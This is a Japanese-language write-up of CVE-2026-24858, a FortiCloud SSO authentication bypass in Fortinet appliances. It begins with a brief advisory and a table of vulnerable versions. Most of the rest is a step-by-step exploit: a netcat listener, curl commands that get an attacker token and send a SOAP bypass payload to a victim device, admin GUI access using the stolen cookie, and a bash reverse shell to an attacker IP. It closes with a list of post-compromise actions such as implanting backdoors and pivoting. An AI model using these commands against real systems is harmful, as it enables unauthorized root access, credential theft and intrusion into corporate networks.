
CVE-2026-24858 FortiCloud シングルサインオン(SSO)は、FortiGate/FortiManager/FortiAnalyzer を登録するとデフォルトで有効になる機能ですが、重大な認証バイパスの脆弱性を含んでいます。
FortiCloud シングルサインオン(SSO)は、FortiGate/FortiManager/FortiAnalyzer を登録するとファクトリーデフォルトで有効になる機能ですが、重大な認証バイパスの欠陥を含んでいます。
任意の FortiCloud アカウント(無料・有料を問わず)を所有する攻撃者は、自身の SSO トークンを再利用して、パスワードを知らなくても他の顧客のアプライアンス(下記のビルド以下)にログインできます。
攻撃後の権限は完全な管理者 GUI と root シェルアクセスに及び、トラフィック傍受、VPN 改ざん、内部ネットワークへの横展開が可能になります。
直ちにアップグレードするか、パッチ適用まで FortiCloud SSO を無効化してください。
| 製品 | 脆弱なファームウェア | パッチ適用済み |
|---|
| FortiOS | 7.0.0–7.0.18, 7.2.0–7.2.12, 7.4.0–7.4.10, 7.6.0–7.6.5 | ≥ 7.0.19, ≥ 7.2.13, ≥ 7.4.11, ≥ 7.6.6 |
| FortiManager | 7.0.0–7.0.10, 7.2.0–7.2.5, 7.4.0–7.4.9 | 同じ major.minor+1 |
| FortiAnalyzer | 同じ範囲 | 同じ |
攻撃者マシン
リバースシェル用リスナー:
nc -lvnp 4444
攻撃者トークンの取得(TTL 15分)
curl -k -X POST https://customerapiauth.fortinet.com/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"AttackerPass123"}'
レスポンス(抜粋):
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc...","expires_in":900}
access_token の値をコピーします。
バイパスペイロードの作成
bypass.xml として保存:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<authRequest>
<serialNumber>FGT80ETK21000000</serialNumber>
<token>eyJ0eXAiOiJKV1QiLCJhbGc...</token>
<action>login</action>
</authRequest>
</soapenv:Body>
</soapenv:Envelope>
被害者に送信(上記テーブル以下の任意のファームウェア)
curl -k -X POST https://<VICTIM-IP>:443/remote/logincheck \
-H "Content-Type: application/xml" \
--data @bypass.xml \
-c cookies.txt
HTTP 200 + Set-Cookie: APSCOOKIE=... → 成功。
管理者 GUI を閲覧
ブラウザを開くか、保存したクッキーで curl を使用:
curl -k -b cookies.txt https://<VICTIM-IP>/ng/
→ ダッシュボードが表示されます。パスワードは要求されません。
root シェル(CLI ウィジェット)
GUI 内: ダッシュボード → CLI コンソール
execute bash
bash-4.4# bash -i >& /dev/tcp/192.168.8.129/4444 0>&1
リスナーが受信:
root@FGT80ETK21000000:/#
| シナリオ | 結果 |
|---|---|
| 読み取り専用管理者 | 完全な設定のエクスポート(VPN シークレット、ローカルインポリシー、ユーザーハッシュ)。 |
| 書き込み管理者 | ファイアウォールルールの変更、ローカルユーザーの作成、ロギングの無効化、永続スクリプトの埋め込み。 |
| root シェル | config.dat のダンプ、HA キーの抽出、内部サブネットへのピボット、バックドアサービスの埋め込み。 |
| 横展開 | デバイスが足場に; VLAN と SSL-VPN トンネルが信頼される → より深いネットワーク侵害。 |
| データ窃取 | すべてのトラフィックが FortiGate を通過 → 透過プロキシ + 証明書インジェクション。 |